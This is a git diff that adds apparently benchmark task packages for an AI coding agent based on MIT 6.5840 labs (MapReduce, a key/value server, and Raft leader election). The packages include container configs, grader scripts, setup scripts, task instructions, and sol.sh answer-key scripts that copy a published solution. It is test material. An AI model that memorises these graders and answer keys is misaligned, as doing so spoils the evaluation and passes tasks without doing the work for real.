`test-mr.sh` has a comment at the start that tells you how to run it with `-race`. When we grade your labs, we will **not** use the race detector. Nevertheless, if your code has races, there's a good chance it will fail when we test it even without the race detector. +- Workers will sometimes need to wait, e.g. reduces can't start until the last map has finished. One possibility is for workers to periodically ask the coordinator for work, sleeping with `time.Sleep()` between each request. Another possibility is for the relevant RPC handler in the coordinator to have a loop that waits, either with `time.Sleep()` or `sync.Cond`. Go runs the handler for each RPC in its own thread, so the fact that one handler is waiting needn't prevent the coordinator from processing other RPCs. +- The coordinator can't reliably distinguish between crashed workers, workers that are alive but have stalled for some reason, and workers that are executing but too slowly to be useful. The best you can do is have the coordinator wait for some amount of time, and then give up and re-issue the task to a different worker. For this lab, have the coordinator wait for ten seconds; after that the coordinator should assume the worker has died (of course, it might not have). +- To test crash recovery, you can use the `mrapps/crash.go` application plugin. It randomly exits in the Map and Reduce functions. +- To ensure that nobody observes partially written files in the presence of crashes, the MapReduce paper mentions the trick of using a temporary file and atomically renaming it once it is completely written. You can use `ioutil.TempFile` (or `os.CreateTemp` if you are running Go 1.17 or later) to create a temporary file and `os.Rename` to atomically rename it. +- `test-mr.sh` runs all its processes in the sub-directory `mr-tmp`, so if something goes wrong and you want to look at intermediate or output files, look there. Feel free to temporarily modify `test-mr.sh` to `exit` after the failing test, so the script does not continue testing (and overwrite the output files). +- Go RPC sends only struct fields whose names start with capital letters. Sub-structures must also have capitalized field names. +- When calling the RPC call() function, the reply struct should contain all default values. RPC calls should look like this: + + ``` + reply := SomeType{} + call(..., &reply) + ``` + + without setting any fields of reply before the call. If you pass reply structures that have non-default fields, the RPC system may silently return incorrect values. + +## Files Agent Should Modify + +The agent should implement the solution by modifying the following files: + +- `src/mr/coordinator.go` +- `src/mr/rpc.go` +- `src/mr/worker.go` + +**Important**: Do not modify test files, configuration files, or other infrastructure files. + +## Notes + +- The go binary is located at `/usr/local/go/bin` diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/compose.yaml b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/compose.yaml new file mode 100644 index 00000000..7b3b01de --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/compose.yaml @@ -0,0 +1,9 @@ +services: + default: + image: golang:1.21-bookworm + init: true + command: tail -f /dev/null + working_dir: /workspace + network_mode: bridge + cpus: '2.0' + mem_limit: 2gb diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/config.json b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/config.json new file mode 100644 index 00000000..341d2ad9 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/config.json @@ -0,0 +1,11 @@ +{ + "instance_id": "mit_6_5840_2024__kvsrv", + "course_id": "mit_6_5840_2024", + "timeout_minutes": 30, + "tags": ["distributed-systems", "go", "key-value-store", "rpc"], + "artifacts": [ + "src/kvsrv/client.go", + "src/kvsrv/common.go", + "src/kvsrv/server.go" + ] +} \ No newline at end of file diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/evaluate.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/evaluate.sh new file mode 100755 index 00000000..e1756281 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/evaluate.sh @@ -0,0 +1,52 @@ +#!/bin/bash +set -e + +echo "=== Evaluating KVServer Lab ===" + +export PATH=$PATH:/usr/local/go/bin +cd /workspace/src + +echo "Verifying protected files were not modified" +PROTECTED_FILES=( + "kvsrv/config.go" + "kvsrv/test_test.go" +) + +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ] && [ -f "/tmp/checksums/$(basename $file).sha256" ]; then + if ! sha256sum -c "/tmp/checksums/$(basename $file).sha256" > /dev/null 2>&1; then + echo "FAIL: $file was modified" + exit 1 + fi + fi +done +echo "All protected files unchanged" + +echo "Running KVServer tests (up to 3 attempts to handle timeouts)" +cd kvsrv + +MAX_ATTEMPTS=3 +for attempt in $(seq 1 $MAX_ATTEMPTS); do + echo "Attempt $attempt of $MAX_ATTEMPTS" + + if go test -run TestBasic -race 2>&1 | tee test_output.txt; then + if grep -q "PASS" test_output.txt && ! grep -q "FAIL" test_output.txt; then + echo "PASS: All tests passed on attempt $attempt" + exit 0 + else + echo "Tests did not complete successfully on attempt $attempt" + fi + else + echo "Test run timed out or failed on attempt $attempt" + fi + + # Clean up before retry + if [ $attempt -lt $MAX_ATTEMPTS ]; then + echo "Cleaning up for retry..." + rm -f test_output.txt 2>/dev/null || true + sleep 2 + fi +done + +echo "FAIL: Tests did not pass after $MAX_ATTEMPTS attempts" +exit 1 diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/preprocess.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/preprocess.sh new file mode 100755 index 00000000..4f987948 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/preprocess.sh @@ -0,0 +1,38 @@ +#!/bin/bash +set -e + +echo "=== Setting up KVServer Lab ===" + +cd /workspace + +echo "Installing git" +apt-get update > /dev/null 2>&1 +apt-get install -y git > /dev/null 2>&1 + +echo "Cloning 6.5840 lab repository" +git clone git://g.csail.mit.edu/6.5840-golabs-2024 /tmp/lab-repo > /dev/null 2>&1 + +echo "Moving src directory to workspace" +mv /tmp/lab-repo/src ./src + + +echo "Removing git history" +rm -rf /tmp/lab-repo + +cd src + +echo "Creating checksums for protected files" +PROTECTED_FILES=( + "kvsrv/config.go" + "kvsrv/test_test.go" +) + +mkdir -p /tmp/checksums +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ]; then + sha256sum "$file" > "/tmp/checksums/$(basename $file).sha256" + echo " Protected: $file" + fi +done + +echo "Setup complete" diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/sol.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/sol.sh new file mode 100644 index 00000000..a8c72344 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/sol.sh @@ -0,0 +1,11 @@ +#!/bin/bash +set -e + +git clone https://github.com/GaryHo34/MIT-6.5840-distributed-systems-labs.git /tmp/mit-solution +git -C /tmp/mit-solution checkout 95318f79101581ec37d04471e7c4d50d9cb2db3a + +cp /tmp/mit-solution/src/kvsrv/client.go src/kvsrv/client.go +cp /tmp/mit-solution/src/kvsrv/common.go src/kvsrv/common.go +cp /tmp/mit-solution/src/kvsrv/server.go src/kvsrv/server.go + +rm -rf /tmp/mit-solution diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/task.md b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/task.md new file mode 100644 index 00000000..bf36472c --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2_kvsrv/task.md @@ -0,0 +1,53 @@ +# Key/Value Server + +## Introduction + +Build a key/value server for a single machine that ensures operations are linearizable. Clients can send three different RPCs to the key/value server: `Put(key, value)`, `Append(key, arg)`, and `Get(key)`. The server maintains an in-memory map of key/value pairs. Keys and values are strings. `Put(key, value)` installs or replaces the value for a particular key in the map, `Append(key, arg)` appends arg to key's value _and_ returns the old value, and `Get(key)` fetches the current value for the key. A `Get` for a non-existent key should return an empty string. An `Append` to a non-existent key should act as if the existing value were a zero-length string. Each client talks to the server through a `Clerk` with Put/Append/Get methods. A `Clerk` manages RPC interactions with the server. + +Your server must arrange that application calls to `Clerk` Get/Put/Append methods be linearizable. If client requests aren't concurrent, each client Get/Put/Append call should observe the modifications to the state implied by the preceding sequence of calls. For concurrent calls, the return values and final state must be the same as if the operations had executed one at a time in some order. Calls are concurrent if they overlap in time: for example, if client X calls `Clerk.Put()`, and client Y calls `Clerk.Append()`, and then client X's call returns. A call must observe the effects of all calls that have completed before the call starts. + +Linearizability is convenient for applications because it's the behavior you'd see from a single server that processes requests one at a time. For example, if one client gets a successful response from the server for an update request, subsequently launched reads from other clients are guaranteed to see the effects of that update. Providing linearizability is relatively easy for a single server. + +## Getting Started + +We supply you with skeleton code and tests in `src/kvsrv`. You will need to modify `kvsrv/client.go`, `kvsrv/server.go`, and `kvsrv/common.go`. + +## Task: Key/value server with no network failures + +Your task is to implement a solution that works when there are no dropped messages. + +You'll need to add RPC-sending code to the Clerk Put/Append/Get methods in `client.go`, and implement `Put`, `Append()` and `Get()` RPC handlers in `server.go`. + +You have completed this task when you pass the first two tests in the test suite: "one client" and "many clients". + +## Hints + +- Check that your code is race-free using `go test -race`. + +## Testing + +Run: `cd src/kvsrv && go test -run TestBasic -race` + +You should see: + +``` +Test: one client ... + ... Passed +Test: many clients ... + ... Passed +PASS +``` + +## Files Agent Should Modify + +The agent should implement the solution by modifying the following files: + +- `src/kvsrv/client.go` +- `src/kvsrv/common.go` +- `src/kvsrv/server.go` + +**Important**: Do not modify test files, configuration files, or other infrastructure files. + +## Notes + +- The go binary is located at `/usr/local/go/bin` diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/compose.yaml b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/compose.yaml new file mode 100644 index 00000000..7b3b01de --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/compose.yaml @@ -0,0 +1,9 @@ +services: + default: + image: golang:1.21-bookworm + init: true + command: tail -f /dev/null + working_dir: /workspace + network_mode: bridge + cpus: '2.0' + mem_limit: 2gb diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/config.json b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/config.json new file mode 100644 index 00000000..b5a6594d --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/config.json @@ -0,0 +1,11 @@ +{ + "instance_id": "mit_6_5840_2024__kvsrv_2b", + "course_id": "mit_6_5840_2024", + "timeout_minutes": 30, + "tags": ["distributed-systems", "go", "key-value-store", "rpc", "concurrency"], + "artifacts": [ + "src/kvsrv/client.go", + "src/kvsrv/common.go", + "src/kvsrv/server.go" + ] +} diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/evaluate.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/evaluate.sh new file mode 100755 index 00000000..705e630a --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/evaluate.sh @@ -0,0 +1,52 @@ +#!/bin/bash +set -e + +echo "=== Evaluating KVServer Lab 2b ===" + +export PATH=$PATH:/usr/local/go/bin +cd /workspace/src + +echo "Verifying protected files were not modified" +PROTECTED_FILES=( + "kvsrv/config.go" + "kvsrv/test_test.go" +) + +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ] && [ -f "/tmp/checksums/$(basename $file).sha256" ]; then + if ! sha256sum -c "/tmp/checksums/$(basename $file).sha256" > /dev/null 2>&1; then + echo "FAIL: $file was modified" + exit 1 + fi + fi +done +echo "All protected files unchanged" + +echo "Running KVServer full test suite (up to 3 attempts to handle timeouts)" +cd kvsrv + +MAX_ATTEMPTS=3 +for attempt in $(seq 1 $MAX_ATTEMPTS); do + echo "Attempt $attempt of $MAX_ATTEMPTS" + + if go test -race 2>&1 | tee test_output.txt; then + if grep -q "PASS" test_output.txt && ! grep -q "FAIL" test_output.txt; then + echo "PASS: All tests passed on attempt $attempt" + exit 0 + else + echo "Tests did not complete successfully on attempt $attempt" + fi + else + echo "Test run timed out or failed on attempt $attempt" + fi + + # Clean up before retry + if [ $attempt -lt $MAX_ATTEMPTS ]; then + echo "Cleaning up for retry..." + rm -f test_output.txt 2>/dev/null || true + sleep 2 + fi +done + +echo "FAIL: Tests did not pass after $MAX_ATTEMPTS attempts" +exit 1 diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/preprocess.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/preprocess.sh new file mode 100755 index 00000000..8c0e2078 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/preprocess.sh @@ -0,0 +1,38 @@ +#!/bin/bash +set -e + +echo "=== Setting up KVServer Lab 2b ===" + +cd /workspace + +echo "Installing git" +apt-get update > /dev/null 2>&1 +apt-get install -y git > /dev/null 2>&1 + +echo "Cloning 6.5840 lab repository" +git clone git://g.csail.mit.edu/6.5840-golabs-2024 /tmp/lab-repo > /dev/null 2>&1 + +echo "Moving src directory to workspace" +mv /tmp/lab-repo/src ./src + + +echo "Removing git history" +rm -rf /tmp/lab-repo + +cd src + +echo "Creating checksums for protected files" +PROTECTED_FILES=( + "kvsrv/config.go" + "kvsrv/test_test.go" +) + +mkdir -p /tmp/checksums +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ]; then + sha256sum "$file" > "/tmp/checksums/$(basename $file).sha256" + echo " Protected: $file" + fi +done + +echo "Setup complete" diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/sol.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/sol.sh new file mode 100644 index 00000000..a8c72344 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/sol.sh @@ -0,0 +1,11 @@ +#!/bin/bash +set -e + +git clone https://github.com/GaryHo34/MIT-6.5840-distributed-systems-labs.git /tmp/mit-solution +git -C /tmp/mit-solution checkout 95318f79101581ec37d04471e7c4d50d9cb2db3a + +cp /tmp/mit-solution/src/kvsrv/client.go src/kvsrv/client.go +cp /tmp/mit-solution/src/kvsrv/common.go src/kvsrv/common.go +cp /tmp/mit-solution/src/kvsrv/server.go src/kvsrv/server.go + +rm -rf /tmp/mit-solution diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/task.md b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/task.md new file mode 100644 index 00000000..bbcf75b2 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_2b_kvsrv/task.md @@ -0,0 +1,69 @@ +# Key/Value Server + +## Introduction + +Build a key/value server for a single machine that ensures operations are linearizable and each operation is executed exactly once despite network failures. Clients can send three different RPCs to the key/value server: `Put(key, value)`, `Append(key, arg)`, and `Get(key)`. The server maintains an in-memory map of key/value pairs. Keys and values are strings. `Put(key, value)` installs or replaces the value for a particular key in the map, `Append(key, arg)` appends arg to key's value _and_ returns the old value, and `Get(key)` fetches the current value for the key. A `Get` for a non-existent key should return an empty string. An `Append` to a non-existent key should act as if the existing value were a zero-length string. Each client talks to the server through a `Clerk` with Put/Append/Get methods. A `Clerk` manages RPC interactions with the server. + +Your server must arrange that application calls to `Clerk` Get/Put/Append methods be linearizable. If client requests aren't concurrent, each client Get/Put/Append call should observe the modifications to the state implied by the preceding sequence of calls. For concurrent calls, the return values and final state must be the same as if the operations had executed one at a time in some order. Calls are concurrent if they overlap in time: for example, if client X calls `Clerk.Put()`, and client Y calls `Clerk.Append()`, and then client X's call returns. A call must observe the effects of all calls that have completed before the call starts. + +Linearizability is convenient for applications because it's the behavior you'd see from a single server that processes requests one at a time. For example, if one client gets a successful response from the server for an update request, subsequently launched reads from other clients are guaranteed to see the effects of that update. Providing linearizability is relatively easy for a single server. + +## Getting Started + +We supply you with skeleton code and tests in `src/kvsrv`. You will need to modify `kvsrv/client.go`, `kvsrv/server.go`, and `kvsrv/common.go`. + +## Task: Key/value server with dropped messages + +Your task is to modify your solution to continue in the face of dropped messages (e.g., RPC requests and RPC replies). If a message was lost, then the client's `ck.server.Call()` will return `false` (more precisely, `Call()` waits for a reply message for a timeout interval, and returns false if no reply arrives within that time). One problem you'll face is that a `Clerk` may have to send an RPC multiple times until it succeeds. Each call to `Clerk.Put()` or `Clerk.Append()`, however, should result in just a _single_ execution, so you will have to ensure that the re-send doesn't result in the server executing the request twice. + +Add code to `Clerk` to retry if doesn't receive a reply, and to `server.go` to filter duplicates if the operation requires it. + +## Hints + +- You will need to uniquely identify client operations to ensure that the key/value server executes each one just once. +- You will have to think carefully about what state the server must maintain for handling duplicate `Get()`, `Put()`, and `Append()` requests, if any at all. +- Your scheme for duplicate detection should free server memory quickly, for example by having each RPC imply that the client has seen the reply for its previous RPC. It's OK to assume that a client will make only one call into a Clerk at a time. + +## Testing + +Run: `cd src/kvsrv && go test -race` + +Your code should pass all tests, like this: + +``` +Test: one client ... + ... Passed -- t 3.8 nrpc 31135 ops 31135 +Test: many clients ... + ... Passed -- t 4.7 nrpc 102853 ops 102853 +Test: unreliable net, many clients ... + ... Passed -- t 4.1 nrpc 580 ops 496 +Test: concurrent append to same key, unreliable ... + ... Passed -- t 0.6 nrpc 61 ops 52 +Test: memory use get ... + ... Passed -- t 0.4 nrpc 4 ops 0 +Test: memory use put ... + ... Passed -- t 0.2 nrpc 2 ops 0 +Test: memory use append ... + ... Passed -- t 0.4 nrpc 2 ops 0 +Test: memory use many puts ... + ... Passed -- t 11.5 nrpc 100000 ops 0 +Test: memory use many gets ... + ... Passed -- t 12.2 nrpc 100001 ops 0 +PASS +``` + +The numbers after each `Passed` are real time in seconds, number of RPCs sent (including client RPCs), and number of key/value operations executed (`Clerk` Get/Put/Append calls). + +## Files Agent Should Modify + +The agent should implement the solution by modifying the following files: + +- `src/kvsrv/client.go` +- `src/kvsrv/common.go` +- `src/kvsrv/server.go` + +**Important**: Do not modify test files, configuration files, or other infrastructure files. + +## Notes + +- The go binary is located at `/usr/local/go/bin` diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/compose.yaml b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/compose.yaml new file mode 100644 index 00000000..7b3b01de --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/compose.yaml @@ -0,0 +1,9 @@ +services: + default: + image: golang:1.21-bookworm + init: true + command: tail -f /dev/null + working_dir: /workspace + network_mode: bridge + cpus: '2.0' + mem_limit: 2gb diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/config.json b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/config.json new file mode 100644 index 00000000..1612497a --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/config.json @@ -0,0 +1,13 @@ +{ + "instance_id": "mit_6_5840_2024__raft_3a", + "course_id": "mit_6_5840_2024", + "timeout_minutes": 30, + "tags": ["distributed-systems", "go", "raft", "consensus", "fault-tolerance"], + "artifacts": [ + "src/raft/append_entries.go", + "src/raft/election.go", + "src/raft/install_snapshot.go", + "src/raft/raft.go", + "src/raft/util.go" + ] +} diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/evaluate.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/evaluate.sh new file mode 100755 index 00000000..72dd686d --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/evaluate.sh @@ -0,0 +1,53 @@ +#!/bin/bash +set -e + +echo "=== Evaluating Raft Lab 3A ===" + +export PATH=$PATH:/usr/local/go/bin +cd /workspace/src + +echo "Verifying protected files were not modified" +PROTECTED_FILES=( + "raft/config.go" + "raft/persister.go" + "raft/test_test.go" +) + +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ] && [ -f "/tmp/checksums/$(basename $file).sha256" ]; then + if ! sha256sum -c "/tmp/checksums/$(basename $file).sha256" > /dev/null 2>&1; then + echo "FAIL: $file was modified" + exit 1 + fi + fi +done +echo "All protected files unchanged" + +echo "Running Raft 3A tests (up to 3 attempts to handle timeouts)" +cd raft + +MAX_ATTEMPTS=3 +for attempt in $(seq 1 $MAX_ATTEMPTS); do + echo "Attempt $attempt of $MAX_ATTEMPTS" + + if go test -run 3A 2>&1 | tee test_output.txt; then + if grep -q "PASS" test_output.txt && ! grep -q "FAIL" test_output.txt; then + echo "PASS: All tests passed on attempt $attempt" + exit 0 + else + echo "Tests did not complete successfully on attempt $attempt" + fi + else + echo "Test run timed out or failed on attempt $attempt" + fi + + # Clean up before retry + if [ $attempt -lt $MAX_ATTEMPTS ]; then + echo "Cleaning up for retry..." + rm -f test_output.txt 2>/dev/null || true + sleep 2 + fi +done + +echo "FAIL: Tests did not pass after $MAX_ATTEMPTS attempts" +exit 1 diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/preprocess.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/preprocess.sh new file mode 100755 index 00000000..c18dd099 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/preprocess.sh @@ -0,0 +1,39 @@ +#!/bin/bash +set -e + +echo "=== Setting up Raft Lab 3A ===" + +cd /workspace + +echo "Installing git" +apt-get update > /dev/null 2>&1 +apt-get install -y git > /dev/null 2>&1 + +echo "Cloning 6.5840 lab repository" +git clone git://g.csail.mit.edu/6.5840-golabs-2024 /tmp/lab-repo > /dev/null 2>&1 + +echo "Moving src directory to workspace" +mv /tmp/lab-repo/src ./src + + +echo "Removing git history" +rm -rf /tmp/lab-repo + +cd src + +echo "Creating checksums for protected files" +PROTECTED_FILES=( + "raft/config.go" + "raft/persister.go" + "raft/test_test.go" +) + +mkdir -p /tmp/checksums +for file in "${PROTECTED_FILES[@]}"; do + if [ -f "$file" ]; then + sha256sum "$file" > "/tmp/checksums/$(basename $file).sha256" + echo " Protected: $file" + fi +done + +echo "Setup complete" diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/sol.sh b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/sol.sh new file mode 100644 index 00000000..0859f518 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/sol.sh @@ -0,0 +1,13 @@ +#!/bin/bash +set -e + +git clone https://github.com/GaryHo34/MIT-6.5840-distributed-systems-labs.git /tmp/mit-solution +git -C /tmp/mit-solution checkout 95318f79101581ec37d04471e7c4d50d9cb2db3a + +cp /tmp/mit-solution/src/raft/append_entries.go src/raft/append_entries.go +cp /tmp/mit-solution/src/raft/election.go src/raft/election.go +cp /tmp/mit-solution/src/raft/install_snapshot.go src/raft/install_snapshot.go +cp /tmp/mit-solution/src/raft/raft.go src/raft/raft.go +cp /tmp/mit-solution/src/raft/util.go src/raft/util.go + +rm -rf /tmp/mit-solution diff --git a/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/task.md b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/task.md new file mode 100644 index 00000000..1b820b45 --- /dev/null +++ b/benchmarks/courselab_bench/data/mit_6_5840_2024/task_3a_raft/task.md @@ -0,0 +1,122 @@ +# Raft + +### Introduction + +This is the first in a series of labs in which you'll build a fault-tolerant key/value storage system. In this lab you'll implement Raft, a replicated state machine protocol. In the next lab you'll build a key/value service on top of Raft. Then you will "shard" your service over multiple replicated state machines for higher performance. + +A replicated service achieves fault tolerance by storing complete copies of its state (i.e., data) on multiple replica servers. Replication allows the service to continue operating even if some of its servers experience failures (crashes or a broken or flaky network). The challenge is that failures may cause the replicas to hold differing copies of the data. + +Raft organizes client requests into a sequence, called the log, and ensures that all the replica servers see the same log. Each replica executes client requests in log order, applying them to its local copy of the service's state. Since all the live replicas see the same log contents, they all execute the same requests in the same order, and thus continue to have identical service state. If a server fails but later recovers, Raft takes care of bringing its log up to date. Raft will continue to operate as long as at least a majority of the servers are alive and can talk to each other. If there is no such majority, Raft will make no progress, but will pick up where it left off as soon as a majority can communicate again. + +In this lab you'll implement Raft as a Go object type with associated methods, meant to be used as a module in a larger service. A set of Raft instances talk to each other with RPC to maintain replicated logs. Your Raft interface will support an indefinite sequence of numbered commands, also called log entries. The entries are numbered with _index numbers_. The log entry with a given index will eventually be committed. At that point, your Raft should send the log entry to the larger service for it to execute. + +You should follow the design in the extended Raft paper, with particular attention to Figure 2. You'll implement most of what's in the paper, including saving persistent state and reading it after a node fails and then restarts. You will not implement cluster membership changes (Section 6). + +This lab is due in four parts. You must submit each part on the corresponding due date. + +### Getting Started + +We supply you with skeleton code `src/raft/raft.go`. We also supply a set of tests, which you should use to drive your implementation efforts, and which we'll use to grade your submitted lab. The tests are in `src/raft/test_test.go`. + +When we grade your submissions, we will run the tests without the `-race` flag. However, you should check that your code does not have races, by running the tests with the `-race` flag as you develop your solution. + +To get up and running, execute the following commands: + +```sh +$ cd src/raft +$ go test +Test (3A): initial election ... +--- FAIL: TestInitialElection3A (5.04s) +config.go:326: expected one leader, got none +Test (3A): election after network failure ... +--- FAIL: TestReElection3A (5.03s) +config.go:326: expected one leader, got none +... +$ +``` + +### The code + +Implement Raft by adding code to `raft/raft.go`. In that file you'll find skeleton code, plus examples of how to send and receive RPCs. + +Your implementation must support the following interface, which the tester and (eventually) your key/value server will use. You'll find more details in comments in `raft.go`. + +```go +// create a new Raft server instance: +rf := Make(peers, me, persister, applyCh) + +// start agreement on a new log entry: +rf.Start(command interface{}) (index, term, isleader) + +// ask a Raft for its current term, and whether it thinks it is leader +rf.GetState() (term, isLeader) + +// each time a new entry is committed to the log, each Raft peer +// should send an ApplyMsg to the service (or tester). +type ApplyMsg +``` + +A service calls `Make(peers,me,…)` to create a Raft peer. The peers argument is an array of network identifiers of the Raft peers (including this one), for use with RPC. The `me` argument is the index of this peer in the peers array. `Start(command)` asks Raft to start the processing to append the command to the replicated log. `Start()` should return immediately, without waiting for the log appends to complete. The service expects your implementation to send an `ApplyMsg` for each newly committed log entry to the `applyCh` channel argument to `Make()`. + +`raft.go` contains example code that sends an RPC (`sendRequestVote()`) and that handles an incoming RPC (`RequestVote()`). Your Raft peers should exchange RPCs using the labrpc Go package (source in `src/labrpc`). The tester can tell `labrpc` to delay RPCs, re-order them, and discard them to simulate various network failures. While you can temporarily modify `labrpc`, make sure your Raft works with the original `labrpc`, since that's what we'll use to test and grade your lab. Your Raft instances must interact only with RPC; for example, they are not allowed to communicate using shared Go variables or files. + +Subsequent labs build on this lab, so it is important to give yourself enough time to write solid code. + +### Part 3A: leader election ("moderate") + +#### Task + +Implement Raft leader election and heartbeats (`AppendEntries` RPCs with no log entries). The goal for Part 3A is for a single leader to be elected, for the leader to remain the leader if there are no failures, and for a new leader to take over if the old leader fails or if packets to/from the old leader are lost. Run `go test -run 3A` to test your 3A code. + +#### Hints + +- You can't easily run your Raft implementation directly; instead you should run it by way of the tester, i.e. `go test -run 3A` . +- Follow the paper's Figure 2. At this point you care about sending and receiving RequestVote RPCs, the Rules for Servers that relate to elections, and the State related to leader election, +- Add the Figure 2 state for leader election to the `Raft` struct in `raft.go`. You'll also need to define a struct to hold information about each log entry. +- Fill in the `RequestVoteArgs` and `RequestVoteReply` structs. Modify `Make()` to create a background goroutine that will kick off leader election periodically by sending out `RequestVote` RPCs when it hasn't heard from another peer for a while. Implement the `RequestVote()` RPC handler so that servers will vote for one another. +- To implement heartbeats, define an `AppendEntries` RPC struct (though you may not need all the arguments yet), and have the leader send them out periodically. Write an `AppendEntries` RPC handler method. +- The tester requires that the leader send heartbeat RPCs no more than ten times per second. +- The tester requires your Raft to elect a new leader within five seconds of the failure of the old leader (if a majority of peers can still communicate). +- The paper's Section 5.2 mentions election timeouts in the range of 150 to 300 milliseconds. Such a range only makes sense if the leader sends heartbeats considerably more often than once per 150 milliseconds (e.g., once per 10 milliseconds). Because the tester limits you tens of heartbeats per second, you will have to use an election timeout larger than the paper's 150 to 300 milliseconds, but not too large, because then you may fail to elect a leader within five seconds. +- You may find Go's rand useful. +- You'll need to write code that takes actions periodically or after delays in time. The easiest way to do this is to create a goroutine with a loop that calls time.Sleep(); see the ticker() goroutine that Make() creates for this purpose. Don't use Go's `time.Timer` or `time.Ticker`, which are difficult to use correctly. +- If your code has trouble passing the tests, read the paper's Figure 2 again; the full logic for leader election is spread over multiple parts of the figure. +- Don't forget to implement `GetState()`. +- The tester calls your Raft's `rf.Kill()` when it is permanently shutting down an instance. You can check whether `Kill()` has been called using `rf.killed()`. You may want to do this in all loops, to avoid having dead Raft instances print confusing messages. +- Go RPC sends only struct fields whose names start with capital letters. Sub-structures must also have capitalized field names (e.g. fields of log records in an array). The `labgob` package will warn you about this; don't ignore the warnings. +- The most challenging part of this lab may be the debugging. Spend some time making your implementation easy to debug. + +Be sure you pass the 3A tests before submitting Part 3A, so that you see something like this: + +```sh +$ go test -run 3A +Test (3A): initial election ... +... Passed -- 3.5 3 58 16840 0 +Test (3A): election after network failure ... +... Passed -- 5.4 3 118 25269 0 +Test (3A): multiple elections ... +... Passed -- 7.3 7 624 138014 0 +PASS +ok raft 16.265s +$ +``` + +Each "Passed" line contains five numbers; these are the time that the test took in seconds, the number of Raft peers, the number of RPCs sent during the test, the total number of bytes in the RPC messages, and the number of log entries that Raft reports were committed. Your numbers will differ from those shown here. You can ignore the numbers if you like, but they may help you sanity-check the number of RPCs that your implementation sends. For all of labs 3, 4, and 5, the grading script will fail your solution if it takes more than 600 seconds for all of the tests (`go test`), or if any individual test takes more than 120 seconds. + +When we grade your submissions, we will run the tests without the `-race` flag. However, you should make sure that your code consistently passes the tests with the `-race` flag. + +## Files Agent Should Modify + +The agent should implement the solution by modifying the following files: + +- `src/raft/append_entries.go` +- `src/raft/election.go` +- `src/raft/install_snapshot.go` +- `src/raft/raft.go` +- `src/raft/util.go` + +**Important**: Do not modify test files, configuration files, or other infrastructure files. + +## Notes + +- The go binary is located at `/usr/local/go/bin` 